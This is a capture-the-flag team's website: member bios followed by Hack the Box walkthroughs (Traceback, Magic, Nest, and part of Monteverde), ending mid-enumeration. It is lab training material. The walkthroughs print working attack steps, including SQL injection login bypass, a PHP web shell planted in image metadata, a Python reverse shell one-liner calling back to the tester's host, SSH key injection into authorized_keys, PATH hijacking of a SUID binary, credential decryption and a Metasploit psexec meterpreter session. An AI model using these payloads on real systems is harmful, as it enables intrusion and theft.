# About UBG About UBG Hacking Team UBG is composed of individuals who are either information security students, professionals or enthusiasts, with a majority of members actively engaged in some aspect of the information security field. The group's members have a diverse background, ranging from offensive and defensive security, administrators and network engineers. With a shared passion for learning and a collective goal of sharpening our skills. ## Join UBG If you have questions about content or want to play on a CTF join our chat. We are most active on our Slack Channel here, you can sign up here: We do have a sister chat on discord: [https://discord.gg/YkrKnuAG](https://discord.gg/asNT9tBZme) Alternatively you can email contact @ubg-hacking.team ![](/files/-MVDIlf0JfFrPrLoB3xO) ![](/files/yoHnhFirnU8s0aURNkGY)
# Site Contributors ToDo # NanoByt3 @nanobyt3 - A Security Admin by day, and a hacking enthusiast by night frequent player of Hack the Box, TryHackMe and PentesterLabs. Officially started his security career in 2019 after earning a Bachelor of Science in Cyber Security from Colorado Technical University. Prior to infosec, nano was a communications maintenance for almost a decade in the United States Marine Corps. Contact: todo # Exabyte Exabyt3 because the 3 makes it cool Will(Exabyte) is an experienced IT professional with a background in information security, he specializes in offensive security and have conducted numerous penetration and forensic engagements, including those related to compliance mandates. I am passionate about continuous learning and regularly attend conferences, competitions, and courses to expand my skill set. "I strive to be comfortably uncomfortable" Contact: Will at ubg-hacking.team {% embed url="" %} # DataMcdataface DataMcdataface(Data) started in IT working various Helpdesk and Support roles. Data was able to learn and move into additional Network and Server admin roles. Data began his first information security role a few years ago obtaining multiple certifications including SSCP, CISSP, PenTest+. Data also has an Associate Degree in Network Administration and Security and is currently pursuing a Bachelors degree for cyber security. [www.linkedin.com/in/patrickthomp](http://www.linkedin.com/in/patrickthomp) # CTF Writeups # HTB Traceback Walkthrough HTB Traceback Walkthrough (nanobyte) Aug 31, 2020 | nanobyte began with some simple enumeration scans: ``` 1234567891011121314151617# Nmap 7.80 scan initiated Sat Mar 14 16:47:34 2020 as: nmap -sV -sC -Pn -p- -oA traceback.htb.nmap 10.10.10.181Nmap scan report for 10.10.10.181Host is up (0.041s latency).Not shown: 65533 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: Help usService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Mar 14 16:48:11 2020 -- 1 IP address (1 host up) scanned in 37.02 seconds ``` Once I found what was open, I began performing banner grabbing. I found that `XH4H` was listed all over the page: ``` 12345ssh xh4h@traceback.htb#################################-------- OWNED BY XH4H ---------- I guess stuff could have been configured better ^^ -################################# ``` This led to nothing. So, checking out http, there was a note in the soure code: ``` 1 ``` Performing some OSINT, XH4H has a GitHub and forked a project over with the best php web shells: Once I had that, I check to see if any were on the website. One was! . Once I logged in to the webshell with the default `admin:admin` credentials, I then found that user webadmin had ssh, and an `authorized_keys` file I could write to. I wrote my `id_rsa.pub` to the authorized keys, and logged in with ssh. Once logged in, I found with `sudo -l`, I can run `/home/sysadmin/luvit` as sysadmin with no password. Doing some googling, luvit is a lua driven tool to learn Lua. Luvit can also run .lua files. So, I created a Lua file, to again write my id\_rsa.pub to the `authorized_keys` file: ``` 123local test = io.open("/home/sysadmin/.ssh/authorized_keys", "a")test:write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDORSNFXHRLa8rC5DieG5EFcwzHa4daADnRHCN3mHIrqujoJSOeb7lNkSg0zPRd2oAJHbZx+t4YsG1fssh1bAl/FUE62D+r+0ZpD8137GipGEflnUobWhgtpez8bf8CWrvFqnVSg4KhQ5qgVLckzJRWxHbCME49BKUi8EEtZv3yEviNuKkOSQsn6IWfoPlW0bNG0gZutltE1cTGLCEsHSYKIEjyZRpSfGAywbwWagpAlJrMscOzCet19Zswc33yNZtLtUPqxfqmmVG08PV8W7jqOQeVKak= root@beast\n")test:close() ``` And then ran that file: ``` 1sudo -u sysadmin /home/sysadmin/luvit blah.lua ``` Once I ran that, I then logged in as sysadmin over SSH and owned user: ``` 1234567891011121314151617ssh -i /root/.ssh/id_rsa sysadmin@traceback.htb#################################-------- OWNED BY XH4H ---------- I guess stuff could have been configured better ^^ -#################################Welcome to Xh4H land Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsLast login: Mon Mar 16 03:50:24 2020 from 10.10.14.2$ lsluvit user.txt$ cat user.txtxxxxxxxxxxxxxxxxxxxx33ffbf0cceb2c46020 ``` While enumerating, looking at pspy, I found that there is a running process every 30 seconds: ``` 1/bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ ``` Looking in `/etc/update-motd.d/` I see I have write access to `00-header`, which displays the welcome message! Towards the bottom, I added the following to `/etc/update-motd.d/00-header`: ``` 1234[ -r /etc/lsb-release ] && . /etc/lsb-releasecat /root/root.txtecho "\nWelcome to Xh4H land \n" ``` I then quickly logged in, and got the root flag: ``` 123456ssh -i /root/.ssh/id_rsa sysadmin@traceback.htb#################################-------- OWNED BY XH4H ---------- I guess stuff could have been configured better ^^ -#################################xxxxxxxxxxxxxxxx4f6f56d822a357585d6 ``` # HTB Magic Walkthrough Aug 31, 2020 | nanobyte Aug 31, 2020 | nanobyte I began with some simple enumeration scans: ``` 123456789101112131415161718nmap -sV -sC -p- 10.10.10.185 [478/478]Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 20:08 CDTNmap scan report for 10.10.10.185 Host is up (0.043s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 41.57 seconds ``` ``` 12345678910111213141516171819gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.185 -t 30=============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.185 [+] Threads: 30 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/05/26 20:10:17 Starting gobuster =============================================================== /assets (Status: 301) /images (Status: 301) =============================================================== 2020/05/26 20:12:26 Finished =============================================================== ``` I was able to identify SQL Injection on a login page, at , using the following in the username and password fields: ``` 12Username: ' or 1=1 --Password: ' or 1=1 -- ``` I tried to upload a PHP reverse shell, but got an error back asking `What are you trying to do here!?` so obviously it is blocked. By changing .php to .jpg resulted in the same error, so moved on. I downloaded an image from the internet, named it index.jpeg and used exfiltool to make a malicious image file: ``` 1exiftool -Comment='"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>' index.jpeg ``` Once I uploaded, I used BURP to intercept the image file, and sent to repeater. Once in repeater, I changed the filename to index.php.jpeg and sent the POST forward: ![burp\_repeater](https://ubg-hacking.team/images/posts/magic_walkthrough/burp_repeater.png) Once the malicious image was uploaded, I went back to the home page that was full of images, and I found that images were uploaded to `/images/uploads`. With this, I went to my image at `10.10.10.186/images/uploads/index.php.jpeg` and could then run commands: ``` 1http://10.10.10.185/images/uploads/index.php.jpeg?cmd=ls ``` Then, I got to work on a reverse shell! There were many shells that would not connect back. Eventually, I found python3 in `/usr/bin` and used a python reverse shell using my web shell: ``` 12/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.64",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'http://10.10.10.185/images/uploads/index.php.jpeg?cmd=ls ``` And I got a reverse shell back:![shell](https://ubg-hacking.team/images/posts/magic_walkthrough/shell.png) I then began enumerating the `/var/www/Magic directory`, working my way down. Eventually I came across a `bk.sql` file, that had hardcoded credentials:![bk-sql](https://ubg-hacking.team/images/posts/magic_walkthrough/bk-sql.png) It did not work for root, but there is another user on the system, `theseus`. I was able to log right in as that user:![theseus](https://ubg-hacking.team/images/posts/magic_walkthrough/theseus.png) And I owned user: ``` 12cat /home/theseus/user.txtxxxxxxxxxxxxxxxxxxxxff70c41c8b037eaab ``` While enumerating for root, I found that the `sysinfo` binary had SUID set: ``` 1234find / -perm -u=s -type f 2>/dev/null.../bin/sysinfo... ``` Looking on the internet, there are a lot of MagniComp vulnerabilities that appeared for this binary. Ultimately, this was a combination of two attacks to get root. First, was a PATH injection. I had to set a path, in this case `/tmp`, into the `$PATH` variable for a malicious binary to run:![path-injection](https://ubg-hacking.team/images/posts/magic_walkthrough/path-injection.png) And now that we have our path set, let’s make the malicious binary. When sysinfo runs, it calls lshw to look at the hardware on the system. Make a malicious lshw file: ``` 12echo "/bin/cat /root/root.txt" > lshwchmod 777 lshw ``` Then once sysinfo is run, you will have root! ``` 12cat /root/root.txtxxxxxxxxxxxxxxxxxx051a7763c65c29a26f4 ``` # HTB Nest Walkthrough HTB Nest Walkthrough (nanobyte) Jul 30, 2020 | nanobyte This is one of my favorite Hack the Box machines, throughout my time completing them! I absolutely enjoyed every minute of this box. My first NMAP scan, running with multiple flags, failed. I performed a simple nmap scan, and it returned only one port open: ``` 123456789nmap 10.10.10.178 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:25 CST Nmap scan report for 10.10.10.178 Host is up (0.043s latency). Not shown: 999 filtered ports PORT STATE SERVICE 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 5.41 seconds ``` In the above, with port 445 open, I then ran a scan against SMB. Server Message Block (also known as Samba) is a way for Windows to share files, printers, serial ports and communications abstractions such as named pipes and mail slots between computers. ``` 123456789101112smbclient -L //10.10.10.178Enter WORKGROUP\root's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Data Disk IPC$ IPC Remote IPC Secure$ Disk Users Disk SMB1 disabled -- no workgroup available ``` The smbclient command showed that there were several network shares. Smbclient is a tool used for Samba, providing a ftp-like experience for users. I went through and connected to each, and found that I was able to login and find possible Usernames in the `Users` share. I took note of this, as this information is sure to come up later for this box: ``` 12345678910111213smbclient \\\\10.10.10.178\\UsersEnter WORKGROUP\root's password: smb: \> dir . D 0 Sat Jan 25 17:04:21 2020 .. D 0 Sat Jan 25 17:04:21 2020 Administrator D 0 Fri Aug 9 10:08:23 2019 C.Smith D 0 Sun Jan 26 01:21:44 2020 L.Frost D 0 Thu Aug 8 12:03:01 2019 R.Thompson D 0 Thu Aug 8 12:02:50 2019 TempUser D 0 Wed Aug 7 17:55:56 2019 10485247 blocks of size 4096. 6449754 blocks available ``` I did attempt to access the user share listed, but access was denied for each of the directories. Continuing my enumeration of the network shares, I connected to `Data`, and found I could login to the `Shared` directory: ``` 123456789101112131415161718192021smbclient \\\\10.10.10.178\\DataEnter WORKGROUP\root's password: Try "help" to get a list of possible commands.smb: \> dir . D 0 Wed Aug 7 17:53:46 2019 .. D 0 Wed Aug 7 17:53:46 2019 IT D 0 Wed Aug 7 17:58:07 2019 Production D 0 Mon Aug 5 16:53:38 2019 Reports D 0 Mon Aug 5 16:53:44 2019 Shared D 0 Wed Aug 7 14:07:51 2019 10485247 blocks of size 4096. 6449754 blocks availablesmb: \Reports\> cd ..\Sharedsmb: \Shared\> dir . D 0 Wed Aug 7 14:07:51 2019 .. D 0 Wed Aug 7 14:07:51 2019 Maintenance D 0 Wed Aug 7 14:07:32 2019 Templates D 0 Wed Aug 7 14:08:07 2019 10485247 blocks of size 4096. 6449754 blocks available ``` In this directory, I found a file, `Maintenance Alerts.txt`. I used the get command to downlaod the file to my local box, and on my Kali Linux viewed the file: ``` 12345678910111213smb: \Shared\Maintenance\> dir . D 0 Wed Aug 7 14:07:32 2019 .. D 0 Wed Aug 7 14:07:32 2019 Maintenance Alerts.txt A 48 Mon Aug 5 18:01:44 2019 10485247 blocks of size 4096. 6449754 blocks available smb: \Shared\Maintenance\> get "Maintenance Alerts.txt"getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)root@bhax0r:~# cat 'Maintenance Alerts.txt'There is currently no scheduled maintenance work ``` However, still nothing! I then went up one directory, and logged into the `Templates` directory and found another file, `Welcome Email.txt`. This sounded promising: ``` 1234567891011121314151617181920212223242526smb: \Shared\Templates\HR\> dir . D 0 Wed Aug 7 14:08:01 2019 .. D 0 Wed Aug 7 14:08:01 2019 Welcome Email.txt A 425 Wed Aug 7 17:55:36 2019 10485247 blocks of size 4096. 6449754 blocks availablesmb: \Shared\Templates\HR\> get "Welcome Email.txt"getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (2.4 KiloBytes/sec) (average 0.9 KiloBytes/sec)root@hax0r:~# cat 'Welcome Email.txt' We would like to extend a warm welcome to our newest member of staff, You will find your home folder in the following location: \\HTB-NEST\Users\If you have any issues accessing specific services or workstations, please inform the IT department and use the credentials below until all systems have been set up for you.Username: TempUserPassword: welcome2019Thank you ``` And I found a possible set of credentials, tempuser:welcome2019! Noting the `Users` directory earlier, I logged back in with these credentials to that network share: ``` 1234567891011121314151617smbclient \\\\10.10.10.178\\Users -U TempUserEnter WORKGROUP\TempUser's password: Try "help" to get a list of possible commands.smb: \> cd TempUsersmb: \TempUser\> dir . D 0 Wed Aug 7 17:55:56 2019 .. D 0 Wed Aug 7 17:55:56 2019 New Text Document.txt A 0 Wed Aug 7 17:55:56 2019 10485247 blocks of size 4096. 6449754 blocks available smb: \TempUser\> get "New Text Document.txt"getting file \TempUser\New Text Document.txt of size 0 as New Text Document.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)root@hax0r:~# cat 'New Text Document.txt' ``` However, this did not have any further information for me. I then attempted to login to the `Users` share with the other usernames, using the same password (users don’t always change default passwords) but this approach also did not work. So, I moved on and used these credentials agaisnt other shares. I did find that it allowed me into `Secure$`: ``` 123456789101112smbclient \\\\10.10.10.178\\Secure$ -U TempUserEnter WORKGROUP\TempUser's password: Try "help" to get a list of possible commands.smb: \> dir . D 0 Wed Aug 7 18:08:12 2019 .. D 0 Wed Aug 7 18:08:12 2019 Finance D 0 Wed Aug 7 14:40:13 2019 HR D 0 Wed Aug 7 18:08:11 2019 IT D 0 Thu Aug 8 05:59:25 2019 10485247 blocks of size 4096. 6449738 blocks available ``` But, there was nothing within that network share that I could use to my advantage. Moving on, I was able to log into the `Data` share with the tempuser credentials. I was able to find two interesting files in this share, `RU_config.xml` and `config.xml`: ``` 1234567891011121314151617 smb: \IT\Configs\RU Scanner\> ls . D 0 Wed Aug 7 15:01:13 2019 .. D 0 Wed Aug 7 15:01:13 2019 RU_config.xml A 270 Thu Aug 8 14:49:37 2019 10485247 blocks of size 4096. 6449935 blocks availablesmb: \IT\Configs\RU Scanner\> get RU_config.xml getting file \IT\Configs\RU Scanner\RU_config.xml of size 270 as RU_config.xml (1.5 KiloBytes/sec) (average 17.6 KiloBytes/sec)root@hax0r:~# cat RU_config.xml 389 c.smith fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= ``` ``` 12345678910111213141516171819smb: \IT\Configs\NotepadPlusPlus\> ls . D 0 Wed Aug 7 14:31:37 2019 .. D 0 Wed Aug 7 14:31:37 2019 config.xml A 6451 Wed Aug 7 18:01:25 2019 shortcuts.xml A 2108 Wed Aug 7 14:30:27 2019 10485247 blocks of size 4096. 6449935 blocks availablesmb: \IT\Configs\NotepadPlusPlus\> get config.xml getting file \IT\Configs\NotepadPlusPlus\config.xml of size 6451 as config.xml (37.5 KiloBytes/sec) (average 23.4 KiloBytes/sec)root@hax0r:~# cat config.xml... ... ``` Neither of these looked like much at first, but there is relevant and important information. FIrst off, we have a username and password from the `RU_config.xml`. The second can be easily missed, and this is the second `File filename` variable in `config.xml`. I can see that in the network share `Secure$`, there is a `Carl` directory within the `IT` directory. In the `RU_config.xml`, there is a `c.smith` password, can this be Carl!? I logged in and attempted to see if I could get to the `Carl` directory: ``` 123456789101112131415161718192021smbclient \\\\10.10.10.178\\Secure$ -U TempUser Enter WORKGROUP\TempUser's password: welcome2019Try "help" to get a list of possible commands. smb: \> dir . D 0 Wed Aug 7 18:08:12 2019 .. D 0 Wed Aug 7 18:08:12 2019 Finance D 0 Wed Aug 7 14:40:13 2019 HR D 0 Wed Aug 7 18:08:11 2019 IT D 0 Thu Aug 8 05:59:25 2019 10485247 blocks of size 4096. 6449738 blocks available smb: \> cd IT smb: \IT\> dir NT_STATUS_ACCESS_DENIED listing \IT\* smb: \IT\> cd Carl smb: \IT\Carl\> dir . D 0 Wed Aug 7 14:42:14 2019 .. D 0 Wed Aug 7 14:42:14 2019 Docs D 0 Wed Aug 7 14:44:00 2019 Reports D 0 Tue Aug 6 08:45:40 2019 VB Projects D 0 Tue Aug 6 09:41:55 2019 ``` And that worked! Note above, that when I was in the `Secure$\IT directory`, I could not list the contents. However, I could still change into the `Carl` directory. Awesome! Enumerating these files, I found a `RUScanner` in `VB Projects` direcory: ``` 1234567891011121314 smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> dir . D 0 Wed Aug 7 17:05:54 2019 .. D 0 Wed Aug 7 17:05:54 2019 bin D 0 Wed Aug 7 15:00:11 2019 ConfigFile.vb A 772 Wed Aug 7 17:05:09 2019 Module1.vb A 279 Wed Aug 7 17:05:44 2019 My Project D 0 Wed Aug 7 15:00:11 2019 obj D 0 Wed Aug 7 15:00:11 2019 RU Scanner.vbproj A 4828 Fri Aug 9 10:37:51 2019 RU Scanner.vbproj.user A 143 Tue Aug 6 07:55:27 2019 SsoIntegration.vb A 133 Wed Aug 7 17:05:58 2019 Utils.vb A 4888 Wed Aug 7 14:49:35 2019 10485247 blocks of size 4096. 6449951 blocks available' ``` Looking at the `Utils.vb` file, there are encrypting and decrypting functions. Looking at how these functions work, there is reference to symmetric key creation, using Rfc2898DeriveBytes. Instead of trying to break this encryption, I took the complete file structure, and copied to a Windows machine. Once I had it locally, I was able to compile the code using Visual Studio. Once compiled and I attempted to run the file, there was an error message: ``` 1Unhandled Exception: System.IO.FileNotFoundException: Could not find file 'C:\Users\adalzell\Desktop\Nest\RUScanner\bin\Debug\RU_Config.xml' ``` Having `RU_config.xml` file, which contains the hash string that looked like base 64, I placed that file into the directory, and when I ran it, the program ran without any exception errors. I then placed a single line of code to write to console the Plain Text in the `Utils.vb` decrypt function: ``` 12345Public Shared Function Decrypt(ByVal cipherText As String, _... Console.WriteLine(plainText) Return plainText... ``` And with that, when I compiled the code again, I could see the plain text password: ``` 12\RUScanner\bin\Debug>DbPof.exexRxRxPANCAK3SxRxRx ``` Now, I am able to connect to the `Users` share and own user: ``` 1234567891011121314151617smbclient \\\\10.10.10.178\\Users -U C.SmithEnter WORKGROUP\C.Smith's password: xRxRxPANCAK3SxRxRxsmb: \> cd C.Smithsmb: \C.Smith\> ls . D 0 Sun Jan 26 01:21:44 2020 .. D 0 Sun Jan 26 01:21:44 2020 HQK Reporting D 0 Thu Aug 8 18:06:17 2019 user.txt A 32 Thu Aug 8 18:05:24 2019 10485247 blocks of size 4096. 6449757 blocks availablesmb: \C.Smith\> get user.txtgetting file \C.Smith\user.txt of size 32 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)root@hax0r:~# cat user.txt xxxxxxxxxxxxxxx4fd827e05f426e987 ``` Now to move on to own root. I looked in the `HQK Reporting` directory, and found a password file: ``` 12345678smb: \C.Smith\HQK Reporting\> ls . D 0 Thu Aug 8 18:06:17 2019 .. D 0 Thu Aug 8 18:06:17 2019 AD Integration Module D 0 Fri Aug 9 07:18:42 2019 Debug Mode Password.txt A 0 Thu Aug 8 18:08:17 2019 HQK_Config_Backup.xml A 249 Thu Aug 8 18:09:05 2019 10485247 blocks of size 4096. 6449725 blocks available ``` But, it was empty. That would have been to easy! However, looking at the file attributes, there is a stream associated to it, so I copied of the Alternate Data Stream (ADS) to get the password file: ``` 123456789101112131415smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"altname: DEBUGM~1.TXTcreate_time: Thu Aug 8 06:06:12 PM 2019 CDTaccess_time: Thu Aug 8 06:06:12 PM 2019 CDTwrite_time: Thu Aug 8 06:08:17 PM 2019 CDTchange_time: Thu Aug 8 06:08:17 PM 2019 CDTattributes: A (20)stream: [::$DATA], 0 bytesstream: [:Password:$DATA], 15 bytessmb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"root@hax0r:~# cat "/root/Debug Mode Password.txt:Password" WBQ201953D8w ``` With this password, I can telnet into the box and enable Debug: ``` 12345678910telnet 10.10.10.178 4386Trying 10.10.10.178...Connected to 10.10.10.178.Escape character is '^]'.HQK Reporting Service V1.2>debug WBQ201953D8wDebug mode enabled. Use the HELP command to view additional commands that are now available ``` Still connected with this telnet session, I enumerated and going up one directory, in the LDAP directory, I found a config file: ``` 1234567891011121314151617>list Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command QUERY FILES IN CURRENT DIRECTORY[1] HqkLdap.exe[2] Ldap.confCurrent Directory: LDAP>showquery 2Domain=nest.localPort=389BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=localUser=AdministratorPassword=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4= ``` Using the `RU_config.xml` I attempted to decrypt returned a padding error. Looking further into the `KqdLdap.exe`, I found the following code in the `CR` function: ``` 12345678' HqkLdap.CR' Token: 0x06000012 RID: 18 RVA: 0x00002278 File Offset: 0x00000678Public Shared Function DS(EncryptedString As String) As String If String.IsNullOrEmpty(EncryptedString) Then Return String.Empty End If Return CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256)End Function ``` This is a different set of encryption, different IV, string, and iteration. So, I placed this into the Decryption function of DbPof.exe, and with the administrator hash in the `RU_config.xml` file, I reran the DbProf.exe program from command prompt, and got the administrator password! ``` 12DbPof.exeXtH4nkS4Pl4y1nGX ``` I connected to SMB Share, but there was a shortcut link to the admins desktop. This was no good. So, I used metasploit (after multiple failed attempts with evil-winrm, impacket psexec.py, and winexec) psexec with reverse\_tcp payload: ``` 1234567891011121314151617181920212223242526272829303132333435363738394041424344msf5 > use exploit/windows/smb/psexecmsf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp msf5 exploit(windows/smb/psexec) > set LHOST 10.10.14.13LHOST => 10.10.14.13msf5 exploit(windows/smb/psexec) > set LPORT 4538LPORT => 4538msf5 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.178RHOSTS => 10.10.10.178msf5 exploit(windows/smb/psexec) > set SMBUserSMBUser => msf5 exploit(windows/smb/psexec) > set SMBUser AdministratorSMBUser => Administratormsf5 exploit(windows/smb/psexec) > set SMBPass XtH4nkS4Pl4y1nGXSMBPass => XtH4nkS4Pl4y1nGXmsf5 exploit(windows/smb/psexec) > exploit[*] Started reverse TCP handler on 10.10.14.13:4538 [*] 10.10.10.178:445 - Connecting to the server...[*] 10.10.10.178:445 - Authenticating to 10.10.10.178:445 as user 'Administrator'...[*] 10.10.10.178:445 - Selecting PowerShell target[*] 10.10.10.178:445 - Executing the payload...[+] 10.10.10.178:445 - Service start timed out, OK if running a command or non-service executable...[*] Sending stage (180291 bytes) to 10.10.10.178[*] Meterpreter session 1 opened (10.10.14.13:4538 -> 10.10.10.178:49157) at 2020-01-29 14:28:29 -0600meterpreter > shellProcess 1456 created.Channel 1 created.Microsoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamiwhoamint authority\systemC:\Windows\system32>cd C:\users\administrator\desktopcd C:\users\administrator\desktopC:\Users\Administrator\Desktop>more root.txtmore root.txtxxxxxxxxxxxxxxxxxxx08a42f0b94b878c41 ``` And rooted this box! The name, Nest, really fits this complex set of steps, nesting each step to proceed. Thanks for reading!\ \
# HTB Monteverde Walkthrough HTB Monteverde Walkthrough (nanobyte) Jun 19, 2020 | nanobyte I began my enumeration with my normal procedures, NMAP and enum4linux: ``` 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748nmap -sV -sC -p- -oA monteverde.nmap 10.10.10.172Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 08:08 CSTNmap scan report for 10.10.10.172Host is up (0.043s latency).Not shown: 65516 filtered portsPORT STATE SERVICE VERSION53/tcp open domain?| fingerprint-strings: | DNSVersionBindReqTCP: | version|_ bind88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-30 14:20:09Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49667/tcp open msrpc Microsoft Windows RPC49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049670/tcp open msrpc Microsoft Windows RPC49673/tcp open msrpc Microsoft Windows RPC49699/tcp open msrpc Microsoft Windows RPC49771/tcp open msrpc Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port53-TCP:V=7.80%I=7%D=1/30%Time=5E32E3C7%P=x86_64-pc-linux-gnu%r(DNSVSF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\SF:x04bind\0\0\x10\0\x03");Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: 9m58s| smb2-security-mode: | 2.02: |_ Message signing enabled and required| smb2-time: | date: 2020-01-30T14:22:29|_ start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 380.55 seconds ``` ``` 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159enum4linux -a 10.10.10.172Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jan 30 08:17:35 2020 ==========================| Target Information | ==========================Target ........... 10.10.10.172RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ====================================================| Enumerating Workgroup/Domain on 10.10.10.172 | ====================================================[E] Can't find workgroup/domain ============================================| Nbtstat Information for 10.10.10.172 | ============================================ Looking up status of 10.10.10.172No reply from 10.10.10.172 =====================================| Session Check on 10.10.10.172 | ===================================== [+] Server 10.10.10.172 allows sessions using username '', password ''[+] Got domain/workgroup name: ===========================================| Getting domain SID for 10.10.10.172 | =========================================== Domain Name: MEGABANKDomain Sid: S-1-5-21-391775091-850290835-3566037492[+] Host is part of a domain (not a workgroup) ======================================| OS information on 10.10.10.172 | ====================================== [+] Got OS info for 10.10.10.172 from smbclient:[+] Got OS info for 10.10.10.172 from srvinfo:Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED =============================| Users on 10.10.10.172 | =============================index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domainindex: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray OLeary Desc: (null)index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec 